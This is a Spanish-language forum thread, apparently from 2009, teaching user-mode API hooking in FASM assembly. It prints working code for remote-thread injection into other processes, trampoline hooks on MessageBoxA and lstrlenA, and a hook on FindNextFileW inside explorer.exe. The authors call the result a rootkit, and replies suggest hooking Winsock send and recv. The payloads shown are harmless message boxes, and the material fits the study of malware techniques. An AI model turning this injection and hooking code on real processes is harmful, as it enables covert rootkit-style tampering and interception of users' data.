Título: [Taller] Api Hooking en modo usuario
Publicado por: YST en 1 Agosto 2009, 05:27 am
Taller de Api hooking
Este texto se puede publicar libremente siempre que se mantenga el autor. Autores:YST & Hacker_Zero
Conocimientos previos: - ASM (http://es.wikipedia.org/wiki/Lenguaje_ensamblador)
- Manejo minimo de las apis de windows
- Formato PE [Metodo IAT patch]
Contenido - 1.-Introducción
- 2.-Inyección de codigo
- 2.1-Teoría
- 2.2-Relización
- 3.-Metodo de trampolín
- 3.1-Teoría
- 3.2-Relización
- 4.-Metodo de IAT patch
- 4.1-Teoría
- 4.2-Relización
1.Introducción En este taller se explicara el api hooking, mediante 2 metodos distintos conocidos como el metodo trampolín y el metodo IAT patch . El api hooking para quien no lo conosca es basicamente en modificar el comportamiento de una api por lo que queramos nosotros. Todo el taller sera hecho usando el lenguaje ensamblador, a si que si no dominas el lenguaje aunque sea en un nivel basico no comprenderas todo el taller por eso recomiendo leer un poco sobre este lenguaje antes de leer el taller ;) .
2.Inyección de codigo 2.1Teoría La inyección de codigo consiste en hacer que un codigo que nosotros programemos sea ejecutado por un proceso externo. Para esto se crea un hilo con CreateRemoteThread (http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx) en el proceso externo teniendo su PID ( Process ID ) y se escriber el codigo inyectado en el proceso creando un espacio con VirtualAllocEx (http://msdn.microsoft.com/en-us/library/aa366890%28VS.85%29.aspx) y luego escribimos en el espacio generado con WriteProcessMemory (http://msdn.microsoft.com/en-us/library/ms681674%28VS.85%29.aspx). 2.1Relización Para darnos una idea de la inyección de codigo inyectaremos un codigo que muestre un mensaje mediante la api MessageBoxA (http://msdn.microsoft.com/en-us/library/ms645505%28VS.85%29.aspx) ;) . Entonces inyectaremos la siguiente función ;pGetProcAddress = Puntero a la api GetProcAddress proc FuncionInyectada,pGetProcAddress locals ; Definimos las variables locales BaseKernel32 dd ? ;MZ de la kernel32.dll endl ;Leemos el PEB para obtener la base del kernel xor eax, eax add eax,[fs:eax+30h] mov eax, [eax + 0ch] mov esi, [eax + 1ch] lodsd mov eax, [eax + 08h] mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll stdcall eax,"user32.dll" ;Cargamos la user32.dll stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA stdcall eax,0,0,0,0 ;Mostramos el mensaje leave ;Terminamos ret ; endp FinFuncion:
Para evitar lios los procesos donde trabajaremos seran creados por nosotros mismo mediante la api CreateProcessA (http://msdn.microsoft.com/en-us/library/ms682425%28VS.85%29.aspx) y en nuestro code usaremos la siguiente función que mediante esta api crea un proceso. ;pExe = Nombre del exe ;PI = Puntero a una estructura de PROCESS_INFORMATION proc LanzarHilo,pExe,PI ;Función que cre un proceso invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO mov edi,eax invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI] ;creamos el proceso invoke GlobalFree,edi ret endp
El siguiente paso es crear un espacio en el proceso donde escribiremos nuestra función :P , para eso usaremos la api VirtualAllocEx y igual que en la creación del proceso para comodidad nos aremosa una comoda función que use esta api y nos retorne la posición donde se puede escribir ;pTamaño = Tamaño necesitado ;pPid = Id del proceso. proc ReservarEspacio,pTamaño,pPid ;Función que crea un espacio en el proceso invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE ret endp
Luego de generar el espacio en el proceso , escribimos nuestra funcion con WriteProcessMemory y creamos el hilo remoto con CreateRemoteThread pasandole por el parametro la direccion del GetProcAddress que usamos en nuestra función inyectada, el codigo nos queda mas o menos a si. ; FinFuncion-FuncionInyectada = tamaño de la funcion include 'win32ax.inc' ;Incluimos la libreria .code ; Declaramos la sección de codigo proc start ; Entry Point locals PI PROCESS_INFORMATION ;Información del Proceso DirFun dd ? ;Espacio donde escribiremos nuestro codigo endl stdcall LanzarHilo,"notepad.exe",addr PI ; Creamos el proceso donde inyectaremos , el proceso es de un notepad. stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[PI.hProcess] ;Creamos un espacio donde podremos esacribir mov [DirFun],eax ;Guardamos la direccion donde podemos escribir en DirFun invoke WriteProcessMemory,[PI.hProcess],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0 ;Escribimos nuestra funcion en el proceso. invoke CreateRemoteThread,[PI.hProcess],0,0,[DirFun],[GetProcAddress],0,0 ;Creamos un hilo en el proceso pasandole por parametro ola direccion de GetProcAddress ret endp proc LanzarHilo,pExe,PI ;Función que cre un proceso invoke GlobalAlloc,GPTR,sizeof.STARTUPINFO mov edi,eax invoke CreateProcessA,0,[pExe],0,0,0,CREATE_SUSPENDED,0,0,eax,[PI] ;creamos el proceso invoke GlobalFree,edi ret endp ;pTamaño = Tamaño necesitado ;pPid = Id del proceso. proc ReservarEspacio,pTamaño,pPid ;Función que crea un espacio en el proceso invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE ret endp ;pGetProcAddress = Puntero a la api GetProcAddress proc FuncionInyectada,pGetProcAddress locals ; Definimos las variables locales BaseKernel32 dd ? ;MZ de la kernel32.dll endl ;Leemos el PEB para obtener la base del kernel xor eax, eax add eax,[fs:eax+30h] mov eax, [eax + 0ch] mov esi, [eax + 1ch] lodsd mov eax, [eax + 08h] mov [BaseKernel32],eax ;Guardamos en BaseKernel32 el MZ de la kernel32.dll stdcall [pGetProcAddress],[BaseKernel32],"LoadLibraryA" ; Sacamos la posición de LoadLibraryA en la kernel32.dll stdcall eax,"user32.dll" ;Cargamos la user32.dll stdcall [pGetProcAddress],eax,"MessageBoxA";Sacamos la posición de la api MessageBoxA stdcall eax,0,0,0,0 ;Mostramos el mensaje leave ;Terminamos ret ; endp FinFuncion: .end start ; Declaramos el Import data y el Entry Point
2.Metodo de trampolín 2.1-Teoría El metodo trampolín consiste en hacer que la api salte a nuestra función , esto se consigue cambiando los primeros bytes de la api por un codigo que salte a nuestra función ( por eso lo de trampolín) . Para lograrlo se inyecta un codigo que saca el MZ de la dll mediante la api GetModuleHandle , se saca la dirección de la api con GetProcAddress y luego se le da permisos de escritura a los 6 primeros bytes con VirtualProtectEx . Muchos se preguntaran por que a los 6 primeros bytes , esto es por que escribiremos un push DireccionDeNuestraFuncion ret
que esto ocupa un total de 6 bytes ( 0x68 = PUSH[1byte] , 1 Dword la posicion y 0xC3 = Ret[1 byte] ) , para los que no sepan el ret hace algo que se podria describir como un "pop EIP" haciendo un salto a lo ultimo pusheado en la pila. Para lograr hookear se necesita estar en su mismo espacio en memoria , para esto se inyectara de la manera anteriormente explicada el codigo que hace el hook. 2.2-Realización Para explicar un poco mas la idea nos "autohookearemos" , la api que hookearmos en nosotros mismos es la api lstrlenA (http://msdn.microsoft.com/en-us/library/ms647492%28VS.85%29.aspx) de la libreria kernel32.dll y haremos que devuelva siempre 0. Ya explicado lo que vamos a hacer nos ponemos en marcha :P . Lo primero que haremos sera sacar la posición de la libreria kernel32.dll usando la api GetModuleHandle (http://msdn.microsoft.com/en-us/library/ms647492%28VS.85%29.aspx) , de la siguiente manera: include 'win32ax.inc' ;Incluimos la libreria .code ;Declaramos la sección de codigo . start: ;Entry point invoke GetModuleHandle,"kernel32.dll" ;Sacamos la posicion de la kernel32.dll ret ; salimos .end start ;Establecemos el EntryPoint y el
Luego obtendremos la dirección de la api lstrlenA( la que hoockearemos ) mediante la api GetProcAddress de la siguiente manera ;) include 'win32ax.inc' ;Incluimos la libreria .code ;Declaramos la sección de codigo . start: ;Entry point invoke GetModuleHandle,"kernel32.dll" ;Sacamos la posicion de la kernel32.dll invoke GetProcAddress,eax,"lstrlenA" ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll mov ebx,eax ;Guardamos la direccion de lstrlenA en ebx ret ; salimos .end start ;Establecemos el EntryPoint y el
Luego le tenemos que dar permisos de escritura a los primeros 6 bytes de la api lstrlenA que tenemos guardada su posición previamente en ebx , entonces para esto usaremos la api VirtualProtectEx (http://msdn.microsoft.com/en-us/library/aa366899%28VS.85%29.aspx) de la siguiente manera include 'win32ax.inc' ;Incluimos la libreria .code ;Declaramos la sección de codigo . start: ;Entry point invoke GetModuleHandle,"kernel32.dll" ;Sacamos la posicion de la kernel32.dll invoke GetProcAddress,eax,"lstrlenA" ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll mov ebx,eax ;Guardamos la direccion de lstrlenA en ebx lea edx,dword[ebp-4] invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA ret ; salimos .end start ;Establecemos el EntryPoint y el
La fuunción con que remplazaremos la lstrlenA sera la siguiente ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0. proc MylstrlenA,p1 mov eax,0 ret endp
Ya teniendo la función y permisos de escritura , escribiremos nuestro codigo que saltara hacia nuestra función quedando de la siguiente manera nuestro code include 'win32ax.inc' ;Incluimos la libreria .code ;Declaramos la sección de codigo . start: ;Entry point invoke GetModuleHandle,"kernel32.dll" ;Sacamos la posicion de la kernel32.dll invoke GetProcAddress,eax,"lstrlenA" ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll mov ebx,eax ;Guardamos la direccion de lstrlenA en ebx lea edx,dword[ebp-4] invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA mov byte[ebx],0x68 ;Escribimos un PUSH en el primer byte de lstrlenA inc ebx ;Nos vamos al segundo byte de lstrlenA mov dword[ebx],MylstrlenA ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA ) add ebx,4 ;Nos saltamos 4 bytes(1 dword) mov byte[ebx],0xC3;Escribimos el ret ret ; salimos ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0. proc MylstrlenA,p1 mov eax,0 ret endp .end start ;Establecemos el EntryPoint y el import data
En este codigo la api ya estaria hookeada , para comprobarlo mostraremos un MessageBox con lo que devuelve ( Si no devuelve 0 daria error el MessageBoxA ). include 'win32ax.inc' ;Incluimos la libreria .code ;Declaramos la sección de codigo . start: ;Entry point invoke GetModuleHandle,"kernel32.dll" ;Sacamos la posicion de la kernel32.dll invoke GetProcAddress,eax,"lstrlenA" ;Sacamos la dirección de lstrlenA de la libreria kernel32.dll mov ebx,eax ;Guardamos la direccion de lstrlenA en ebx lea edx,dword[ebp-4] invoke VirtualProtectEx,-1,ebx,6,PAGE_EXECUTE_READWRITE,edx ;Le damos permisos de escritura a los 6 primeros bytes de lstrlenA mov byte[ebx],0x68 ;Escribimos un PUSH en el primer byte de lstrlenA inc ebx ;Nos vamos al segundo byte de lstrlenA mov dword[ebx],MylstrlenA ;escribimos la direccion de nuestra funcion ( Estaria quedan un PUSH MylstrlenA ) add ebx,4 ;Nos saltamos 4 bytes(1 dword) mov byte[ebx],0xC3;Escribimos el ret invoke lstrlen,"Hola" ; Esto deberia devolver 4 invoke MessageBox,0,eax,0,0 ; Mostramos lop que devuelve , si se muestra el MessageBox LO LOGRAMOS!! ret ; salimos ;Nuestra función que remplazara a la apì lstrlenA , esta funcion siempre devuelve 0. proc MylstrlenA,p1 mov eax,0 ret endp .end start ;Establecemos el EntryPoint y el import data
En la idea la unica diferencia entre el Autohook que hicimos y un Hook a otro proceso es que tenemos que inyectar nuestro codigo que hace hook en el proceso ;D. Ya sabiendo inyectar y teniendo la idea de como se hace el API Hook, vamos a hacer algo más divertido, inyectaremos nuestro código en otro proceso para modificar su comportamiento, en éste caso Hookearemos MessageBoxA. Para ésto será necesario crear un buffer con los 5 bytes (en éste caso) que pisamos en la API, para así, cuando queramos llamar a la API original poder hacerlo sin que la llamada caiga tambien en nuestra función :xD. Con una imagen queda más claro :P: (http://i360.photobucket.com/albums/oo45/eduhack/Trampolin.png) Por qué 5 bytes? Porque a la hora de modificar los bytes del comienzo de la Api, no podemos cortar instrucciones, y en el caso de Messagebox, la Api comienza por: mov edi,edi push ebp mov ebp,esp
Eso ocupa exactamente 5 bytes, si lo reemplazamos por un jmp dirección, no cortaríamos ninguna instrucción. Pero ésto no es una constante, no todas las apis empiezan por lo mismo, por lo que en cada Api que vayamos a hookear, necesitaremos echar mano del debuger para fijarnos de no cortar ningúna instrucción ;). MANOS A LA OBRA! Lo primero será inyectar nuestra función en el proceso que queremos Hookear: proc start locals ProcessName db "MessageBoxA.exe",0 endl stdcall Inyectar,addr ProcessName,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress] cmp eax,-1 jne salir invoke MessageBoxA,0,"No se encontró el proceso!",0,0 salir: invoke ExitProcess,0 endp proc Inyectar,ProcessName,Tamaño,Funcion,Datos locals struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cntThreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlags dd ? szExeFile rb MAX_PATH ends pInfo PROCESSENTRY32 ? Handle dd ? PID dd ? DirFuncion dd ? hProcess dd ? endl ;Obtenemos el PID del proceso invoke CreateToolhelp32Snapshot,0x00000002,0 mov [Handle],eax mov eax,sizeof.PROCESSENTRY32 mov [pInfo.dwSize], eax BuclePid: invoke Process32Next,[Handle],addr pInfo cmp eax,0 je FinProcBuclePID ;No hay más procesos invoke lstrcmp,addr pInfo.szExeFile,[ProcessName] cmp eax,0 jne BuclePid jmp FinBuclePid FinProcBuclePID: invoke CloseHandle,[Handle] mov eax,-1 ret FinBuclePid: invoke CloseHandle,[Handle] push [pInfo.th32ProcessID] pop [PID] ;Lazamos el proceso invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID] mov [hProcess],eax ;Reservamos espacio en el proceso invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE mov [DirFuncion],eax ;Escribimos los datos en memoria invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0 ;Creamos el hilo invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[GetProcAddress],0,0 ret endp
No explicaré el código de inyección, con los comentarios es más que suficiente, ya lo explicó mi compañero YST y se supone que dominamos la inyección y queremos hacer un Rootkit ;D. Ahora lo interesante, la función que inyectaremos: proc FuncionInyectada,pGetProcAddress locals BaseKernel32 dd ? OriginalProtection dd ? endl ;Leemos el PEB para obtener la base de KERNEL32.DLL xor eax, eax add eax,[fs:eax+30h] mov eax, [eax + 0ch] mov esi, [eax + 1ch] lodsd mov eax, [eax + 08h] mov [BaseKernel32],eax ;Obtenemos la dirección de MessageBoxA stdcall [pGetProcAddress],[BaseKernel32],"GetModuleHandleA" mov edi,eax stdcall edi,"USER32.DLL" stdcall [pGetProcAddress],eax,'MessageBoxA' ;ebx contendrá la dirección de la Api MessageBoxA mov ebx,eax ;Obtenemos la dirección de VirtualProtect y damos permisos ;de lectura, escritura y ejecución a los 5 primeros bytes de la Api stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect" stdcall eax,ebx,5,PAGE_EXECUTE_READWRITE,addr OriginalProtection ;Calculamos el delta offset para saber en que ;dirección nos estamos ejecutando call delta delta: pop edx sub edx,delta ;edx=delta ;Lo guardamos en la pila para no perderlo push edx ;Mostramos un Messagebox para indicar que nos inyectamos correctamete en el proceso ;(Obtenemos la dirección de las variables a partir del delta offset) mov eax,edx add edx,RMensaje ;Obtenemos la direccion de las variables RMensaje y msgTitulo add eax,msgTitulo ;a partir del delta offset stdcall ebx,0,edx,eax,0 ;ebx=puntero MessageBoxA ;Recuperamos el valor de delta de la pila y lo volvemos a guardar pop edx push edx ;Guardamos la dirección de MessageBoxA en la variable dirMessageBoxA add edx,dirMessageBoxA mov dword[edx],ebx pop edx ;Recuparamos el valor de delta offset de la pila ;Modificamos los 5 primeros bytes de la API por un jmp a FuncionHook mov byte[ebx],0xE9 ;0xE9=jmp inc ebx mov ecx,FuncionHook add ecx,edx sub ecx,ebx sub ecx,4 mov dword[ebx],ecx ;la dirección a la que saltará ret ;Terminamos, ya hemos modificado el principio de la api, ;cuando el programa llame a MessageBoxA, saltará a FuncionHook ;-------------------------------------------------------------------------------------------------------------------------------------------- ;Contiene los 5 primeros bytes de la Api MessageBoxA y una rutina para saltar a MessageBox+5 ApiOriginal: ;edx=delta mov edi,edi ; Primeros bytes de la api MessageBoxA push ebp ; que pisamos poniendo nuestro salto, mov ebp,esp ; add edx,dirMessageBoxA ;Obtenemos la dirección de MessageBoxA leyendo mov eax,dword[edx] ;la variable dirMessageBoxA y la guardamos en eax add eax,5 ;Nos desplazamos 5 bytes jmp eax ;Saltamos a MessageBoxA+5 ;-------------------------------------------------------------------------------------------------------------------------------------------- ;Función a la que salta el programa cuando se llama a la API hookeada FuncionHook: ;Calculamos el delta offset call delta2 delta2: pop edx sub edx,delta2 ;edx=delta ;Limpiamos la pila de los parametros originales pop eax mov ebx,eax ;Guardamos la dirección de retorno en ebx pop eax pop eax pop eax pop eax push edx edx ;Copiamos el delta a eax y ecx pop ecx eax ;pusheamos nuestros parámetros obteniendo la dirección de las variables ;a partir del delta offset push 0 add ecx,msgTitulo push ecx add eax,ApiHookedMensaje push eax push 0 ;Pusheamos la dirección de retorno push ebx ;Obtenemos la dirección de ApiOriginal mov ecx,edx add ecx,ApiOriginal ;Saltamos a ApiOriginal jmp ecx ;------------------------------------------------------------------------------------------------------------------------------------------- RMensaje db "Soy el RootKit, me inyecté! :D!",0 ApiHookedMensaje db "Soy un MessageBoxA Hookeado! :D!",0 msgTitulo db "xD",0 dirMessageBoxA dd ? endp
Con eso tendríamos nuestro Rootkit terminado usando el método trampolín: Éste es el ejecutable Llamando a MessageboxA: (http://i360.photobucket.com/albums/oo45/eduhack/1-1.png) Ejecutamos el Rootkit: (http://i360.photobucket.com/albums/oo45/eduhack/2-1.png) Y cuando el programa hace MessageBoxa(0,"No estoy Hookeado :( !",":(",0) sucede ésto: (http://i360.photobucket.com/albums/oo45/eduhack/3-1.png) Subo el código fuente completo: Descargar (http://www.megaupload.com/?d=YDN28A0W) En construcción (http://i.creativecommons.org/l/by-nc-nd/2.5/es/88x31.png)
Título: Re: [Taller]Api Hook
Publicado por: [Zero] en 1 Agosto 2009, 13:31 pm
Bravo amigo ;-). Muy bueno, si señor.
Lo del push ret que te dije no es buena idea, porque muchas apis si pisas 5 bytes (con un jmp) no cortas instrucciones en cambio con el push ret ya pisas un byte de más (en la mayoría de apis). Con el jmp ya queda clavado y luego si quieres crear el buffer para llamar a la api original no tienes que copiar tantos bytes.
Saludos ;-)
Título: Re: [Taller]Api Hook
Publicado por: Karcrack en 1 Agosto 2009, 14:52 pm
Muy bueno, te pongo chincheta ;D Espero verlo acabado pronto ;)
Como dice Hacker_Zero ves con cuidado de no pillar instrucciones a medias...sino habrá un error muy feo :-\
Título: Re: [Taller]Api Hook
Publicado por: h0oke en 1 Agosto 2009, 14:54 pm
Muy buen, hasta que ganó chincheta.
Seguiré el tallercito YST ;)
Éxitos!!!
Título: Re: [Taller]Api Hook
Publicado por: YST en 1 Agosto 2009, 20:13 pm
Muy bueno, te pongo chincheta ;D Espero verlo acabado pronto ;)
Como dice Hacker_Zero ves con cuidado de no pillar instrucciones a medias...sino habrá un error muy feo :-\
Muchas gracias karccrack , en la noche lo continuo :P
Título: Re: [Taller]Api Hook
Publicado por: cassiani en 1 Agosto 2009, 20:42 pm
Hasta que te animaste :silbar:
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: LixKeÜ en 7 Agosto 2009, 14:54 pm
muy bueno me gustaría aplicar esto ala api del winsock :rolleyes: ever si me sale algo :D
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: [Zero] en 7 Agosto 2009, 15:28 pm
muy bueno me gustaría aplicar esto ala api del winsock :rolleyes: ever si me sale algo :D
Googleando puedes encontrar código del MsnNightmare de Mazard que hace hook a send y recv en C ;D. Saludos ;)
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Jaixon Jax en 7 Agosto 2009, 16:13 pm
;D [ hook a send y recv en C Jeje estuve tanto tiempo buscando estas funciones pero tengo entendido que estas funciones no son apis sino mudulos de la libreria winsock ? y si son api me entero ? si pudieras Hacker Zero extenderias mas tu explicacion sino :rolleyes: me podrias pasar el link del manual de mazard jeje. :laugh:
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Karcrack en 7 Agosto 2009, 20:16 pm
Si que son APIs... APIs de la libreria de Winsock(ws2_32.dll/wsock32.dll)... Aqui tienes el enlace al codigo: http://mzrdzoneforo.tomahost.org/index.php?topic=30.0
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: spartanla90 en 12 Agosto 2009, 02:42 am
wow a ver si se podre hacer algo aunk sea un poco parecido :xD
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Erik# en 24 Agosto 2009, 20:31 pm
Grande YST :)
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: YST en 28 Agosto 2009, 20:35 pm
Otro ejemplo de api Hook que muestra en un MessageBox los archivos mediante los vea el explorer.exe ; FinFuncion-FuncionInyectada = tamaño de la funcion include 'win32ax.inc' ;Incluimos la libreria .data ; Declaramos la sección de codigo proc start ; Entry Point locals PID dd ? lProc dd ? DirFun dd ? ;Espacio donde escribiremos nuestro codigo endl invoke FindWindowEx,0,0,"Progman",NULL invoke GetWindowThreadProcessId,eax,addr PID invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID] mov [lProc],eax stdcall ReservarEspacio,FinFuncion-FuncionInyectada,[lProc] mov [DirFun],eax invoke WriteProcessMemory,[lProc],[DirFun],FuncionInyectada,FinFuncion-FuncionInyectada,0 invoke GetModuleHandle,'kernel32.dll' invoke CreateRemoteThread,[lProc],0,0,[DirFun],eax,0,0 ret endp proc ReservarEspacio,pTamaño,pPid invoke VirtualAllocEx,[pPid],0,[pTamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE ret endp proc FuncionInyectada,pMZ locals pGetProcAddress dd ? lDelta dd ? lGetMDA DD ? lWSOCK32 dd ? lRMM dd ? lDD dd ? LVRPX dd ? lBytes dd ? lSend dd ? endl call delta delta: pop edx sub edx,delta mov [lDelta],edx mov eax,[lDelta] add eax,GetAddressFunction mov [pGetProcAddress],eax stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta] mov [lGetMDA],eax stdcall [lGetMDA],"kernel32.dll" mov [lWSOCK32],eax stdcall [pGetProcAddress],[pMZ],"GetProcAddress",[lDelta] stdcall eax,[lWSOCK32],"FindNextFileW" mov [lSend],eax mov ebx,cRtlMoveMemory add ebx,[lDelta] mov [lRMM],ebx mov edi,BytesOriginales add edi,[lDelta] stdcall [pGetProcAddress],[pMZ],"VirtualProtectEx",[lDelta] mov [LVRPX],eax mov edi,BytesOriginales add edi,[lDelta] lea edx,[lDD] mov [lBytes],edi stdcall [LVRPX],-1,[lBytes],40,PAGE_EXECUTE_READWRITE,edx stdcall [lRMM],[lBytes],[lSend],40 lea edx,[lDD] stdcall [LVRPX],-1,[lSend],20,PAGE_EXECUTE_READWRITE,edx mov eax,[lSend] mov byte[eax],0x68 inc eax mov dword[eax],MiSend mov edx,[lDelta] add dword[eax] ,edx add eax,4 mov byte[eax],0xC3 mov eax,DireecionAPI add eax,[lDelta] mov edi,[lSend] mov [eax],edi stdcall [pGetProcAddress],[pMZ],"GetModuleHandleA",[lDelta] mov [lGetMDA],eax stdcall [lGetMDA],"user32.dll" stdcall [pGetProcAddress],eax,"MessageBoxW",[lDelta] mov edi, eax mov eax,DireccionMes add eax,[lDelta] mov [eax],edi stdcall [pGetProcAddress],[pMZ],"Sleep",[lDelta] stdcall eax,-1 endp proc GetAddressFunction,pMZ,pApi,lDelta locals lDelta2 dd ? endl ;EDI = MZ ;Expot data = EBX ;Esi = Cantidad de funciones ;edx = AddressOfNames ;ECX = Propositos generales mov edi, [pMZ] mov ebx,[edi+0x3c] mov ebx,[ebx+edi+0x78] add ebx,edi mov esi,[0x18+ebx] mov edx, [0x20+ebx] add edx,edi .bucle: dec esi cmp esi,0 je .error mov eax,esi rol eax,2 ;Multiplicamos esi por 4 mov eax,[edx + eax] add eax,edi push eax mov eax,[lDelta] mov [lDelta2],eax add [lDelta2],comparar pop eax stdcall [lDelta2],[pApi],eax xor eax,0 jnz .bucle mov eax,[0x24+ebx] add eax,edi movzx ecx, word[eax + 2*esi] mov eax, [ebx + 0x1c] add eax,edi mov eax, [eax + 4 * ecx] add eax, edi .salir: ret .error: xor eax,eax jmp .salir endp proc comparar ,SRC,DST push edi ecx esi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory ; by YST proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad push esi edi xchg edi,[cBuffer] xchg esi,[Cpuntero] .bucleb: dec [cCantidad] movsb cmp [cCantidad],0 jge .bucleb pop edi esi ret endp proc MiSend,p1,p2 locals lDelta dd ? lRMM dd ? lResultado dd ? lDireccion dd ? lMensaje dd ? lBytes dd ? endl call .delta .delta: pop edx sub edx,.delta mov [lDelta],edx mov eax,[lDelta] add eax,DireccionMes mov eax,dword[eax] mov [lMensaje],eax mov eax, DireecionAPI add eax,[lDelta] mov eax,dword[eax] mov [lDireccion],eax mov eax,cRtlMoveMemory add eax,[lDelta] mov [lRMM],eax mov eax,BytesOriginales add eax,[lDelta] mov [lBytes],eax stdcall [lRMM],[lDireccion],[lBytes],40 stdcall [lDireccion],[p1],[p2] mov [lResultado],eax mov eax,[lDelta] add eax,MiSend mov ebx,[lDireccion] mov byte[ebx],0x68 inc ebx mov dword[ebx],eax add ebx,4 mov byte[ebx],0xC3 mov eax,[p2] add eax,44 stdcall [lMensaje],0,eax,0,0 mov eax,[lResultado] ret endp DireccionMes dd ? DireecionAPI dd ? BytesOriginales: db 50 dup (0) FinFuncion: .end start ; Declaramos el Import data y el Entry Point
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: 33boy33 en 19 Julio 2015, 03:52 am
Una cosilla esto no es Assembler de pura cepa tipo ollydbg asi que no estoy seguro que es exactamente y tampoco como compilarlo o como va el asunto para poder ejecutarlo.
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: YST_RET en 21 Julio 2015, 02:30 am
Si , es asm puro el ensamblador es FASM buscalo en google . Saludos
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: zerointhewill en 19 Enero 2016, 20:42 pm
cuando seguira el tema ? :D :D
Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Eleкtro en 19 Enero 2016, 22:54 pm
cuando seguira el tema ? :D :D Probablemente... nunca. Lee la fecha del post, y la fecha de la última actividad del usuario antes de responder a un hilo. Está prohibido revivir temas antiguos. Tema Cerrado.
|